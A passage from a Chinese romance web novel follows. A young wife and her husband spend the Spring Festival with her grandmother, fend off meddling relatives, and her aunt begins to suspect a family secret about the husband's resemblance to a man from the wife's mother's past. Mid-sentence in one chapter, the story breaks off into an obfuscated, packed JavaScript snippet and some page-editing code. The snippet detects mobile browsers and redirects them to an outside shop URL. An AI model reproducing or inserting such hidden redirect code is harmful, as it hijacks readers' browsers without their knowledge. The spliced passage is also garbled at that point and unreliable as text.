这是瞧不起谁呐,她就只能干这个吗?再说即便她只能捏小兔子,那她的小兔子也绝对是一锅饺子里最受欢迎的,大家都抢着要。 “你呀,少吹牛皮。” 姑姑聂传溪不信,羞她道。聂宇也不做解释,跑回房间从自己从小用到大的存钱罐里挖出来一堆硬币,彻底洗干净后拿过来往自己的面团里塞。 “这不就得了?” 聂宇得意地晃晃,奶奶和姑姑都服了,唯有孟京阳,用沾着面粉的手捏了捏她的脸颊。挺好,他就喜欢这样鲜活的她,还有身边这一切带给他的家的感觉。 38.75-76 -75- 谢静芳坐在另一侧看着和孟京阳笑闹的聂宇,心中只有一个念头:花开了。 一年半前离家的时候,她的澄澄还是一个含苞待放的花骨朵,瘦骨伶仃。而现在,经过这一年半的成长,再加上感情的滋养,她已经成为了一朵鲜妍明媚的百合花,举手投足间,满载丰沛的阳光和润泽的雨露,清新又温暖。 谢静芳不由感慨:好在是同意了她离家也同意了结婚,不然真不知会把孩子蹉跎成什么样。 鉴于此,谢静芳看孟京阳也完全顺眼了。 - 饺子包好之后,悉数端去了厨房等待下锅。而在此时,林天天也打球回来了,还接回了林乐乐。 姐妹相见,本该是开心的时候。奈何兄妹俩身后还跟了几个不速之客,看见他们,在场所有人脸上的表情都凝滞了一瞬。 来人是聂宇大爸一家。聂传洋夫妇和聂杰英夫妇四人穿着整齐,手中提着几箱子年礼,欢欢喜喜来登门了。隔着一道门槛见着聂宇,他们就已经挤出惊喜的表情,聒噪的声音瞬间响彻整栋楼宇。 “楼下碰见的,只能带着一起上来喽。” 经过聂宇身边的时候,林天天低语了一句,颇有撇清责任的嫌疑。这让聂宇不禁觉出几分好笑:难不成不碰见就能不让他们上门?这小子。 聂宇先是将林乐乐拉到身边来,笑着问问她寒暖。姐妹俩没说两句,大爸一家就全进了家门,奶奶和姑姑也从客厅迎了出来,场面一时热闹了起来。 “妈,传溪,我听说小宇和侄女婿今天回来,就带着杰英他们过来看看。正好么,晓先也有日子没见着小宇了,姐妹俩叙叙旧。” 聂传洋这样说着的时候,聂宇侧眸看了一眼最后进门的蒋晓先,正巧她也在看她,俩人目光相遇,一人平静一人别扭。半年多未见,蒋晓先丰润了不少,也变白了许多,可见在旬城过的真是养尊处优的日子,大爸一家没人敢难为她。只是性子里的刻薄怕是仍旧没变,不然为何脸圆了那么多却还是寻不出丁点可爱来呢,相由心生啊。 “妈,您也真是的,孩子回来了也不通知我们一声,瞒着我们在家给小宇做好吃的呢。今晚准备了什么呀?饺子?” 王盈笑说着,目光不自觉往最后跟出来的孟京阳身上瞥。去年去燕城的时候,她是只闻其名,如今终于得见真人,王盈心中不由一震。不是为他的相貌和别的什么,而是为他周身的气度。在家时听晓先零星提起过,这位姓孟的侄女婿从家世到本人都非同一般,如今这四个字终于对号入座显像化了,落在她心头的震颤不是一点半点儿。 到底是什么原因,王盈也说不大出来,只能归于有些人生来就是如此以及家庭培养的好。她急急收回目光,在心里暗自懊悔去年没有趁机与他多拉拢关系,否则那事儿的结果还不定如何呢。 “澄澄和京阳才刚回来,又开了一路的车,就想让他们先休息休息再跟大家聚。不过你们倒是消息灵通,没等我们吃晚饭就找上门了。” 这话是聂传溪说的,脸上还挂着笑,听上去又礼貌又讽刺的。王盈表情颇有些绷不住了,倒是聂传洋深知这个妹子的个性,没有与她计较,也没有接她的话茬。 “那我们岂不是来巧了?”聂传洋笑笑,“正好蹭你们一顿饺子。” - 都是一家人,明里暗里挤兑一下无妨,但不会在这个节骨眼上真闹出不愉快。聂传溪让林天天引着一群人去客厅,她则去了厨房,张罗下饺子和准备晚饭。她和王盈已经撕破脸不知道多少回,现下她只想来个眼不见为净。 聂宇陪着孟京阳去了客厅。对这一家人她着实没什么话说,但她不能留孟京阳一人面对她的这些奇葩亲戚,也只能捏鼻认了。好在她的奶奶最是疼她,知晓她心中所想,待两人进去之后,她就笑着对孟京阳说:“京阳,刚才你姑姑说晚上要备几个菜,我这会儿要接待客人,你去厨房帮我搭把手吧,好吧?” “没问题。” 孟京阳喝一口水,示意聂宇一眼,又向众人做了“抱歉暂时离开”的表示,起身去了厨房。聂宇微微一笑,也跟着离去。 “妈,瞧您说的,我们成客人了。”聂传洋假装不满道。 “不是吗?一年到头登不了我家门五次,这样的不是客人难不成是债主?”谢静芳不留情面道,闹了聂传洋一个大红脸。他表情甚为不悦,但也不敢再抱怨什么。 “那能怪我们吗?刚才传溪什么脸色您也瞧见了,但凡遇上她就是这么对我,而她又来您这里这么勤,那我还敢上门吗?” 王盈趁机发泄自己的不满,但谢静芳早已不吃这套。 “传溪不对你可以直接告诉我,自有我说她。既不说又不来,那你对长辈的孝心可真是让人不敢恭维。” “您——” 王盈还想说什么,被聂传洋一记眼神给堵了回去。 “妈,今天大家来是为了高兴,咱们就别说这些不愉快了,行吗?明年我一定常让杰英妈过来看您,至于杰英和晓先,这俩孩子也在备孕了,等明年有了好消息,让您做太奶奶。” 太奶奶?她连奶奶都不想做了,还做太奶奶。 谢静芳在心里哼了一声,目光落在了聂杰英和蒋晓先身上。这俩人里,聂杰英对她还有那么几分尊重,见她看过去忙挤出一个笑来,只是眼神有些疲惫,看上去不如之前意气风发了。至于蒋晓先,这姑娘从来就没服过她,对她从来都是不招惹却也不搭理,只让人拿不住错处就是了。 “来不来不要紧。”老太太口吻软了几分道,“你们一家子把日子过好,别再生出什么事端,我就知足了。” - 厨房里,聂传溪一边做自己的拿手菜一边止不住地笑。聂宇在一旁给孟京阳打下手,看她这样,忍不住好奇地问:“姑姑,您一个人偷乐什么呢,有开心事说出来让大家都高兴高兴呀。” “小妮子,还编排你姑姑。”假意不满地瞪了侄女一眼,聂传溪说,“我是为你俩高兴,瞧老太太多疼你们,知道那一家子是来跟你和京阳攀交情的,立马就把你们支走了。”一顿,“京阳你别沾手了,留着我来吧!” “没事。家里又来了客,姑姑您一个人忙活不来,我给您搭把手。”孟京阳说着,开始烫肉,打算做个下饭的炝炒回锅。 聂宇在一旁瞧着,见自己爱的人都在回护并爱着自己,心里很是甜蜜。她兴致一来也想帮忙做饭,被某人“嫌弃”地往一旁推了推。 “你乖乖当总指挥吧,不要来给下属添乱。” 这话说的,引得随后而来的林天天和林乐乐兄妹俩都笑了。厨房瞬间也热闹起来,聂宇笑着支使姐弟俩去和自己一起剥蒜,目光一瞥,看见刻意从厨房旁经过又放慢脚步的蒋晓先。 看到蒋晓先,聂宇就想起回来之前舅舅交给自己的任务,想着这会儿办了也好,年前真还不知道有没有见面的机会。她一扯孟京阳的衣袖,示意了下蒋晓先被发现后仓促离去的背影,用眼神问他的意思。 孟京阳瞬间会意,想一想点了点头。聂宇越发定心,去客厅借着叙旧的名义把蒋晓先叫去了她的房间。 “干嘛,咱俩还真有姐妹情可叙呀?我以为你巴不得我死在这儿呢。”进了房间之后,蒋晓先环视一圈,率先开炮道。 “别高看你自己了,你是死是活我都不关心,但有人见不得你在这儿受苦,托我给你送钱来呢。” 从抽屉里取出,聂宇一把丢到了蒋晓先面前。 看着这个被塞得厚厚的信封,蒋晓先愣了愣。眸中似是闪过一丝动容,但很快又归于泯灭。 “光送钱有什么用?”她低声嘀咕,“这么久以来,他们也只晓得送钱了,接我回去的事儿是只字不提。” 这下连聂宇都为蒋云鹏不值了。 “有本事你别要,回去之后我还给舅舅,就说晓先在旬城日子过得不错,看不上您这点父爱了。” 聂宇说着伸手去夺,被蒋晓先一个闪身避了过去。 “你也少在这说风凉话,要不是你我还落不到这个境地!”蒋晓先瞪她一眼,将钱迅速塞进自己的大衣口袋。 聂宇简直要被她气笑了。 “你这话说的好没道理啊。”她站直,费解地看向蒋晓先,“是我打晕你把你扒光剥净送到聂杰英床上的吗?而且你抱怨之前也先摸摸自己的良心,扪心自问一下我大爸一家待你好不好。就你现在这珠圆玉润的样子,舅舅看到都要对我大爸大妈说声谢,感谢他们把你这个姑奶奶照顾的这么好呢!” “……” 蒋晓先有苦说不出。 来旬城这些日子,在物质上她确实没受什么苦,聂杰英一家的钱都紧着她自己一个人用,还时不时有来自燕城的接济。可在精神上,蒋晓先觉得自己备受煎熬。 起初蜜月期没过,她娇纵起来聂杰英还愿意哄,甚至还颇为享受。可随着柴米油盐的日子过起来,来自各方的压力逐渐堆积,他就慢慢不耐烦了,两个人先是争吵,觉得不够发泄内心的郁结时又开始动手。当然,是她对他动手居多,虽然只是上手那么一挠,却也对夫妻感情产生了极坏的影响。现在聂杰英被她逼到没办法的时候,已经会嘲讽着对她说:“怎么?又要对我发你那大小姐脾气了吗?来呀,动手,直接挠我脸!” 蒋晓先苦闷不已。更让她无法忍受的是,她发现聂杰英在面对他们之间的感情时已经开始走神了,或者说他从来都没对她专一过,他到现在还对前女友周洁念念不忘! 想到这里,蒋晓先也没了什么斗志。又瞪了聂宇一眼,她敛起衣服便往门口走,结果一打开门,又看见炒完了菜往这边来的孟京阳。 面对这个男人,蒋晓先没由来地感到一种惧怕。倒不是曾经在孟京阳手上吃过亏,从小到大她跟孟天音打打闹闹了无数次,后者也时不时地嚷过要喊小叔来替她出气,但时至今日,这男人没惩治过她一回。然而恐惧已经在心里种下了,再加上之前在大院时听过的种种关于他的传说,使得蒋晓先面对他时不免畏惧。 只是刚才经过厨房的时候,不经意瞥见他与聂宇说笑的样子,感觉他又是那样的温柔。以至于蒋晓先都有些恍惚了,以为自己看错了人。 回过神来时,这个男人已经向她微一颔首,与她擦肩而过。蒋晓先下意识打了个寒颤,迅速溜走了。 “吵架了?” 一进来就察觉到房间里气氛不对,孟京阳低问。 聂宇点点头,又摇摇头。 “不管她。”她说,“反正她总是那个样子,也不足为奇了。” 孟京阳一挑眉,没有出声反驳。但他心里已经拿定主意,不会再让聂宇为聂杰英这对受一点气。 先前他们在高考前夕那样算计聂宇和老太太的时候,他受限于身份,行动起来难免束手束脚。但现在不一样了,他身为聂宇的丈夫,无论做什么都名正言顺,理所应当。 -76- 晚六点半,一家人正式开饭了。精致可口的菜肴伴着香喷喷的饺子,一顿饭倒也吃得畅快。 果如聂宇所说,她捏的小兔子最受大家的欢迎,谁吃到了都要炫耀一番。唯独大妈王盈开始不知情,作为头一个吃到小兔子的人,生生被里面的硬币硌了牙,接下来但凡吃什么,都要小心翼翼。 一顿饭就这样在王盈的郁结中结束,饭后谢静芳也没有多留大儿子一家人,借口劳累打发他们回去了。 随后,聂传溪带着一双儿女也离开了。他们就住在这附近,是为了天天和乐乐在市里读书专门租的房。 聂宇送亲人们离开,关上门后,她先让奶奶洗漱休息,然后一脸期期艾艾地跑到孟京阳面前。而孟京阳又如何不知她心中所想,这是想丢下他陪老太太去睡呢。 “三晚。”孟京阳想了想,松口道。 他心里清楚,在这事儿上他不能太小气,但也不可太大方。所以“三”是最佳的,既不多,也不少。 聂宇当然也不会完全丢下孟京阳不管,“三”这个数字也是她权衡过后最能接受的结果了,所以立马成交。 “好,这三晚我都陪奶奶睡,过后再来陪你。” 聂宇笑眯眯地去抱被子,就听孟京阳说:“我说的‘三’不是这个意思。” 昏黄的床头灯下,孟京阳冲她眨了下眼睛,脸上的表情平静中带着一丝狡黠。聂宇顿时醒悟,好险一口气差点儿喘不过来,她要气死了! “你是‘周扒皮’么,我要打倒,打倒,打倒!” 聂宇气的在他肩膀上锤了好几下,孟京阳笑拥住她,示意她继续。聂宇不搭理他了,抱起被子就走。她决定这一个假期都不回来了。 - 次卧里,谢静芳刚服下药准备入睡,就见孙女抱着被子气赳赳地过来了。她连忙惊坐起,问她是不是跟孟京阳吵架了。聂宇尴尬不已,安慰奶奶她是想过来和她一起睡,没有吵架。谢静芳这才放心,转而又要赶她回去。 “京阳头一回在家里过夜,你不在身边陪着算怎么回事?”谢静芳嗔她。 “他又不是三岁小孩儿了,睡觉还要人陪呀?”聂宇心里还记着仇呢,说话就不太客气。 “照你这么说,我比他还大,大多了,我需要你陪?”谢静芳一挑眼尾,看她。 “奶奶。”聂宇没辙,只能使出撒娇大法,“我是想您了,想跟你一起睡。至于某些人,我看也不能对他太好,哼。” “真没吵架?”谢静芳又问。 “没有。”聂宇说道,耳根有些发热,“他是使坏惹我生气,所以这几天都不搭理他了,晚上都来陪您睡。” 谢静芳听出来了,这是俩孩子闹着玩儿呢。如是也不勉强了,揽着她的小羽毛躺下了。 聂宇一躺进奶奶怀里,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16733621|183589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么气也没有了。祖孙俩有一搭没一搭地聊着,将这半年来彼此的生活情况问了遍。饶是很多话题都在先前每周一次的电话里聊过了,现在还要当面听人说一遍才放心。 通过聂宇字里行间透露出的种种,谢静芳听出来她和孟京阳的感情还不错,便叮嘱她要注意,若是不想上学期间就怀孕,还是要做好措施。聂宇口头上应下,想起自己和孟京阳荒唐的一次次,觉得这事儿还真说不准。 她顿时给自己找到一个回击孟京阳的办法,或者说原谅某人的借口,那就是当他再提出过分要求的时候,她就拿奶奶的话来堵他。这样一来,他估计就没辙了。 聂宇顿时心满意足,抱着奶奶的胳膊睡下。 - 从第二天起,聂宇正式开始了自己幸福的在家生活。 每天早上,她睡至八点钟起,吃奶奶或者姑姑或者孟京阳做的早饭。然后便是陪着奶奶和小姑筹备年货,或是陪着孟京阳在旬城市里逛。 当然,由于奶奶“嫌弃”她年纪小什么也不懂,便多打发她去陪孟京阳。聂宇初时还觉得惭愧,架不住她能和孟京阳这样相处的时间也少之又少,便渐渐心软了。只要奶奶那边没什么事忙,她就陪孟京阳。 俩人利用这几天,开着车走遍了旬城的每一个角落,尤其是聂宇成长过程中待过的地方,例如学校、少年宫和少时居住的钢厂。每到一处,孟京阳都格外耐心地听她讲述发生在这里的故事,品味其中的甜蜜和酸涩。最后,他将这些片段一张张拼凑起来,描摹出一幅聂宇童年和少女时代的画卷,永封在了记忆之中。 “以前自视甚高,总觉得长大了之后一定会与众不同。现在细细回想一遍过去,发现原来我也是那样普通。” 从小时候练过跳水和游泳的少年宫出来,聂宇坐在副驾看着窗外闪过的街景感慨道。 “普通不普通现在还无法下定论,但有一点我很确定,那就是你并不平庸。”孟京阳开着车,笑说,“你一直在努力,很多事也都做到了。” “对哦。”聂宇一笑,“刚才见过我教练了,你也听她说了吧?我当时要是好好练的话,说不定能参加奥运会,一举年少成名呢。所以啊——” 聂宇顿了下,没再说下去,但孟京阳却精准地领悟到了她的未尽之言。 “所以啊,我没有拿你与任何人做过比较,你也不许如此。”一顿,“更不许翻旧账。” 以后游泳这个词怕是不能提了,否则指不定掀起什么风浪。 聂宇也觉得跟一个已经翻了篇的人较劲没什么意思,更加不想因为分手而去否定一个不熟悉的人,这是孟京阳才有资格做出的评价。所以她没再说下去,只是笑笑。 “我才没想翻旧账,我就是看到街边有卖糖葫芦的了,想吃一个。”聂宇拖着腔调为自己找补。 孟京阳停下车,买了一串山楂和一串山药豆的糖葫芦给聂宇。聂宇坐在副驾驶上开心地吃着,时不时有糖渣黏唇。孟京阳一开始用手指给她抹去,而后用唇,一个小糖渣足够他们甜蜜许久,就这样将两根糖葫芦吃完,耗去了大概一个半小时。 聂宇靠在孟京阳的肩头微微喘息,某人时不时在她唇边流连,终于尽兴之后,他低声跟聂宇说:“今晚回来睡吧?” “……” 聂宇微微翘唇,掀起眼皮瞟了他一眼,没说话。孟京阳也不说话,只是拥住她,一只手在她的腰间摩挲,犹如起电一般,带给她一些微小的颤栗。聂宇最终撑不住,答应了。 - 当晚,自是难得的荒唐。 第二天聂宇睡懒觉,孟京阳照旧早起,开车去城郊的市场拉年货。那是聂宇的姑父林战托人送来的,满满几大箱的海货肉类和瓜果,怕是吃过正月也吃不完。 因为承包了一片果园,虽不是采摘季,但鉴于给果树修枝、施肥和防冻也样样离不了人,林战今年只得在乡下守着,顶多除夕的时候来吃顿年夜饭,勉强歇个两三天。但人未到,心意却不缺,送来的东西都是长辈和孩子们爱吃的。如此以来,聂宇他们置办年货倒是省事儿了,只简单买买其他必须的就行。 聂传溪上门的时候,聂宇仍旧在睡。但这一茬是回笼觉,因为谢静芳已经拍着她的屁股催她起来吃过早饭了。聂传溪推开卧室的门看了眼,见聂宇睡得香,就没有打搅,回到客厅以后,跟母亲谢静芳相视一笑。 “您老晚上没事儿就早点儿休息吧,给小年轻们腾点空间。没听那天澄澄说么,京阳这个春节也是难得休息。”择着中午要吃的菜,聂传溪说道,“要不然您去我那儿住吧,反正地方也宽敞。” “算了吧,为了这个走了,澄澄得羞死。”谢静芳笑笑道,心里很是有数,“再说了,过几天过年林战就来了,你那儿保准就安生了?” “妈!”聂传溪哭笑不得地看向母亲,脸上也迅速羞红成一片,“你说什么呢,我都多大岁数了!再、再说了,我们总比小年轻懂得节制,用不着你操心。” 作为儿女中唯一一个跟“乡下人”结亲的,聂传溪如今反倒是过的最好的。果园的活计已不需她照应,有丈夫支撑着,又雇了几个工人,她只等收钱数钱即可。一双儿女也都懂事好学,纵使林天天淘气一些,在大事上也从不让她费心。回想当初,聂传溪决定嫁给林战的时候,听了两个嫂子多少冷嘲热讽,连她这个做母亲的也跟着担心。现在看来,数她最踏实,只要自己能要的,并且守得住。 “得了,我哪儿也不去,就在家里守着我的澄澄。” 谢静芳毫不犹豫地说,聂传溪看看母亲提起聂宇来一脸满足的心情,不由感慨道:“如今澄澄上了大学,有了不错的归宿,您老就尽可放心了。我哥泉下有知,也埋怨不了您什么,只会谢谢您。” “人死如灯灭,我怕他埋怨什么?”谢静芳平静道,“我只是可怜澄澄,小小年纪没了爸妈,自然要多加照拂她。”一顿,“去年在燕城,我见了云清一两面,看她瘦的那个样子,也是觉得可怜。只是她现在跟澄澄生分的如同陌生人的样子,也着实让我难过,这孩子这辈子的父母缘竟是这么浅。” 想到曾经的小嫂,聂传溪也不胜唏嘘。当时蒋云清还在的时候,全家那么多人里数她能跟她说上话,多少知晓一些她的心事。在她走后,大嫂二嫂提起她来都是鄙夷,唯独她不说她一句坏话。并非不怨不怪,而是她更明白一个道理:天意弄人,离散皆是命。 “剩下的等澄澄醒了再弄吧,她喜欢什么,咱就做什么。”将菜筐放到一旁,谢静芳起身,岔开了话题道,“孩子给我从燕城带回来一些相片,趁现在有时间,我去都收到相册里。” “哎!” 聂传溪应一声,然后像是突然被什么东西点拨了一下似的,脑子里顿时清明了。她终于想起为什么觉得孟京阳眼熟了,曾经在蒋云清的一本书里看到过一张男人的照片,他的样貌酷似孟京阳! 39.77-79 -77- 曾经,聂传溪之所以跟蒋云清有所亲近,是因为喜欢她那一身书卷气。得知她下乡来带了不少的书,一向爱书又苦于无书可读的她厚着脸皮向蒋云清借了几本,姑嫂之间的关系就此拉近。 聂传溪记得那是一本外国文学,她拿到手后翻了没几页,发现了一张男人的半身照。聂传溪起初没当回事,归还的时候提了一嘴,就发现蒋云清的神色不太对。她几乎是立刻将书夺了过去,翻了几下找到了那张照片,看着上面的人眸光中闪过一喜,瞬间又转为悲,跟着眼泪就簌簌落了下来。聂传溪看的目瞪口呆,这才意识到不对,询问蒋云清照片上的男的是何人。 蒋云清没有回答,只低头兀自抹泪,神情中满是痛苦。聂传溪见状也就不再追问了,只是心里就此落下一桩心事。 后来,蒋云清借口“另有所恋”要回燕城,聂传溪隐约觉得跟照片上那人有关,便找到她来质问。蒋云清没有否认,姑嫂间大吵一架后,聂传溪愤然离去。 扪心自问,那个男人确实风采卓然,俊朗潇洒,否则不会过去这么多年了聂传溪心里依旧留着一抹他的影子,还能在见到与他相像的孟京阳时立刻代入。只是终究是太久了,聂传溪已经忘了这抹影子的由来,及至母亲提到“相片”和“蒋云清”的时候,她才凑巧又拾回了这个记忆。 但聂传溪此刻却巴不得她没想起来!她简直不敢想象,万一孟京阳真的跟那个人有所牵扯,而且还是那样近的关系,聂宇该如何自处。蒋云清的回城可以说是这个孩子一生不幸的开始,如果让她知道这样的事,即便是她再大度到不计前嫌,心里也不可能没有一丝隔阂。毕竟,她要和孟京阳过一辈子的呀。 聂传溪倒抽一口气,只觉得手脚冰凉。 - 孟京阳带着林天天将东西都搬回来的时候,聂宇已经起来了,正在和奶奶一起翻相册。见他们搬了几大箱子的东西进屋,聂宇不由吃了一惊。 “姑姑,我姑父怎么买了这么多,这要吃到什么时候?” 聂宇用手拨了拨一个装满带鱼的扁箱子,立刻被表面那一层冰冻的缩回了手指。她笑一笑,用另一只手将自己的手指握住,回过头问聂传溪道。 此时此刻,聂传溪又在理菜,但她已经平静了下来,并且在心里拿定了主意。方才,她借着聊天的由头,向聂宇打探了一下孟京阳家里和蒋家的关系,得知两家从很早开始就住得很近,待两家的老爷子退休之后,又搬入了同一个干休所。 离得近,两家人之间的交集想必不会少,一来一往产生一些感情是最正常不过的事。但聂传溪在心里警告自己,不能借此就断定那个人一定是孟家的人,跟孟京阳有着什么直接关系。 她这样想是有原因的,并非自欺欺人。当初聂宇要嫁给孟京阳的时候,一定是经过蒋家那边同意的。如若这里面真有什么内情或者世仇,聂宇姥爷会同意?蒋云清会同意?他们作为仅有的知情人,应该是最先跳出来反对的才对,这门婚事根本就成不了! 可如今既然成了,就说明这里面并没有很严重的事,不至于影响到两个孩子。既如此,她还在这里担心什么呢? 至于容貌相似这件事,聂传溪也只得安慰自己是巧合。平常看电视,那些相隔十万八千里却长的差不多同一张脸的事也不是没有,不必大惊小怪。也许,是她记错了呢? 聂传溪快速地将这些安慰之辞在脑海中又过一遍,面对聂宇和孟京阳的时候已经能做到冷静自如。她笑一笑,让林天天取出几条带鱼来化冻,等会儿给他们做油炸带鱼吃。 “好耶!” 林天天欢呼着去了,聂宇从孟京阳手里又接过一盒草莓,准备洗了来吃。这是孟京阳从市场上买回来的,各个个大鲜红,令人垂涎欲滴。到了冬天聂宇就好这一口,她看着孟京阳笑了笑,去了厨房。 看着两人那亲密的样子,聂传溪仿佛获得了什么慰藉一般。即便是为着这孩子的幸福,也请老天保佑不要再生出什么事端了。而她,也将闭口不提。 - 两天后,万众期待的春节终于来了。 关于过年,聂家一向是倡导简约,没有那么多繁文缛节。顶多就是一起吃顿年夜饭,接下来的拜年都省了。用谢静芳的话说,你们愿意去哪家就去哪家,别来烦我就成。 虽然如此,聂家人谁都知道,这话是对聂宇的大爸二爸一家说的,不包括她的小姑聂传溪。从大年初三聂宇姑父回了乡下开始,聂传溪带着一双儿女就像长在了娘家一样,隔三差五就过来。 大妈王盈和二妈李月私下里挤兑聂传溪,说她惯会巴结人,仗着老太太舍不得说她就赖在她那里不走,一径地在孟京阳面前示好,想日后从他面前讨好处。而聂传溪却压根儿不吃这俩嫂子的这一套,她来母亲这里来的勤,纯粹是不放心,怕她照顾不好聂宇夫妻俩,又怕她太累,是想替她分担来着。虽然事后来看,有孟京阳在,母亲干活不多。但正因为此,她才要更常来,毕竟不能总让第一次登门的侄女婿受累! 当然,谢静芳对此也不是没有一点顾虑。她私下问过聂宇,孟京阳介不介意家里总来这么多人,得到的回复是完全不。他很喜欢目前这一家子的氛围,奶奶就是奶奶,而姑姑,则像是母亲。自母亲离世之后,他已经很久没有感受到来自女性长辈的关怀和惦念,所以他很珍惜这种感受。甚至连林天天和林乐乐,他都是完全当做自己的弟弟妹妹看待,和聂宇一样疼惜他们。 说起这对双胞胎兄妹,这算是聂宇这次回家来唯一的烦恼了。林天天这孩子说话太没顾忌,而林乐乐,却是比一年半前沉默了许多,很多时候并不会像以前那样听到不好听的话直接反驳回去,不知道是因为什么。 对于这个最疼爱的小妹妹,聂宇这次再见时的第一印象是瘦了、高了、变好看了。也不知是不是因为步入青春期,小姑娘想法多了起来,便变得沉静。 当然,对于一个女孩儿来说这并不算坏事,可过分安静就不对了。尤其是过年期间,别人都在休息放假,唯独林乐乐整天还惦记着学习,这让聂宇不免有些担心。怕她给自己加压太多,哪一天会突然承受不住崩了。 为了让她放松,聂宇带她玩了好几次。随后又和姑姑聂传溪私下谈了谈,让她多关注一下林乐乐的心理动态。聂传溪当下应了,两天后带来一个爆炸般的消息:林乐乐疑似早恋! -78- 初七,旬城下了一场大雪。 晚间时分,聂宇将卧室的窗户开了一条缝,嗅着窗外清新冷冽的空气,用手接着一瓣一瓣的雪花,看着它们悉数融化,一个人玩得不亦乐乎。忽而,有一道轻咳声从后面传来,听上去不像是嗓子不适,反倒是更像提醒。聂宇无奈,叹口气,把窗户关上了。 “其实一点也不冷。”她回到床上,靠着孟京阳的肩膀说。 “等你冷了就已经感冒了。” 孟京阳垂眸瞅她一眼,又移开视线继续看书。是一本他在房间的书柜里找到的《包法利夫人》,上面还留有聂宇的读书笔记,字迹清秀中带着一丝稚拙。比起正文,他倒是对她的见解更感兴趣。 聂宇看着他闲适到有些懒散的样子,未免有些新奇。印象之中,除某件事外,孟京阳一向是个很自律的人,有时即便是放假也不会完全放松自己,仿佛随时在为什么待命似的。但这个春节假期,他真的有彻底安闲下来,形容都不似往常那样整饬,偶尔看到他翘起一缕黑发睁着一双慵懒的眉眼看着什么东西的时候,聂宇脑海中忽然生出一个形象,感觉他就像是那种白天跟奶奶一起看电视时提到的富贵人家的闲散王爷,从容又恣意。 聂宇原是不看脸的,都有点儿为他倾倒了。她让孟京阳为她模仿电视剧里的人物,被他无情拒绝了。 “你还想透过我看到别的男人?”做梦去吧! 聂宇被他一脸不快的表情逗乐了。怎么回事,感觉他的情绪也比平时外放了许多,也太好玩儿了点。 聂宇不由抱着他粘着他,问道:“孟先生,这些天你过得还算愉快吗?” 孟京阳拿书的手不由一顿,他看向聂宇,开始思考这个问题。 答案毋庸置疑是愉快和开心的,只是让他感到惊异的一点是,他从未觉得时间过得这么快,细细一算居然还有一周多就要踏上返程了。 今年是他第一次跟聂宇一起过年,起先她跟他约好了守岁,但十二点刚过没多久,聂宇就在不知不觉中睡着了。孟京阳没有叫她,听着窗外此起彼伏的鞭炮声,整个人却是由衷的平静和满足,那是他久未感受到的安然。 还有一种别样的温暖。虽然孟锐挺一向待他如亲生,大哥一家跟他的关系也极为亲密,但他们毕竟是男性,且又出身行伍,感情一向不大细腻,有些话孟京阳想跟他们说,又怕矫情。当然,大嫂于恬也很关心他,但无法对大哥启齿的话,他更不可能跟大嫂说,只得当做无事发生,将这些杂思丢弃一边。 但现在这一切都有了出口。聂宇也好,姑姑也好,奶奶也好,即便是这其中免不了有一些爱屋及乌的成分在,但孟京阳仍是能感受到来自她们的真意。偶尔来自于她们某一个角度的关切,能让他有一种久违的触动,就好像母亲在时常问他是否吃得好穿得暖一样,微茫如芥子的感情流露,落在他心头上却有须弥之重。 孟京阳不太想说这些,倒显得他有多脆弱似的。但在过去这些天里,他确实是在一遍又一遍的感受和回味这份心情,所以如何能不快乐。这里像是他的安乐乡,他愿意永远待在这里。 “开心是开心。” 瞧,饶是他的心中早已暗潮汹涌,说出来的话还是带着克制。像是怕被人听出暗喜,亦或是往日寂寞。 “但是孟太太,你欠我的账打算什么时候还完?还有两晚,再拖就要收利息了。” 孟京阳瞥聂宇。 “你老是这样。”聂宇做出一个被他气晕倒的表情,“正在跟你谈心呢,就要把话题转到不正经的地方去。” “那不怪我,理由我早说过了,看着你就会想。” 孟京阳把书放到床头柜上,彻底摆出一个无赖姿态。聂宇拿他没办法,眼珠转了转,她屈身往后退了一截,跪停在某个关键位置旁,然后挑眉冲孟京阳眨了眨眼。 孟京阳很快领悟到她的意思,一股热意涌上心头,直冲脑门。他也拿聂宇没办法了,抬手将人拉回来,简直想扒了裤子打。在她家里,在老太太眼皮子底下,他怎么可能让她做这种事! 偏聂宇还坚持,没多一会儿就被孟京阳制服了。一夜细雪绵绵,足以掩盖这世间一切的声音。 - 第二天早上起来,雪已经覆盖了厚厚一层,聂宇裹得严严实实地下去溜达了一圈,上来之后断言小姑今天不会来了,堆满雪的路实在难行。 然而就在一家三口刚吃完早饭的时候,敲门声响起了,孟京阳起身去开门,迎进来了聂传溪。 “澄澄,你来房间,我有话跟你说。” 顶着一家人惊异的眼神,聂传溪也顾不得寒暄了,直接招手让聂宇过去。聂宇有些迟疑,还是孟京阳提醒了她一声,她才匆忙起身,去了卧室。 “怎么啦姑姑?” 关上房门后,聂宇问聂传溪道。 “小宇啊,还真让你说着了,乐乐这孩子是有事瞒着我,她好像谈朋友了。”聂传溪苦着一张脸道,眉宇间满是焦急。 聂宇也重重吃了一惊。她让小姑多关注林乐乐是怕她学习学到走火入魔,没想到竟挖出来这样一个秘密。如此以来,她不太确定自己到底是关心乐乐还是在帮倒忙了。 “您怎么发现的?”冷静下来之后,聂宇还是决定先问个清楚。 “那个男孩子给她写了信,我都看到了,还能有假?” 作为一个母亲,聂传溪自认是个尊重孩子隐私的人,所以那封信是林乐乐无意间漏出来被她瞧见的。是一个姓白的男孩子写给她的,至于林乐乐是何态度,暂未可知。 聂宇让她别着急,因为此事也许是那个男孩儿剃头挑子一头热,跟林乐乐关系不大。但聂传溪却仍是皱着眉,说今早吃饭的时候她故意抛出早恋的话题来,看乐乐的表情不大对劲,她担心这俩孩子已经有了什么。 “但我还是觉得不能直接给乐乐定罪,她一向是个听话的孩子,不会在离高考不到半年的紧要关头做出这种糊涂事来。”聂宇想了想,说,“要不您还是别试探了,直接开诚布公地跟乐乐谈一谈,但是要注意用词和语气,以一种朋友和同龄人的态度,而非长辈的姿态,这样乐乐或许更愿意跟您敞开心扉。” “朋友?同龄人?”聂传溪苦笑一下,“这是不是太难为我了,要不澄澄你来吧?” 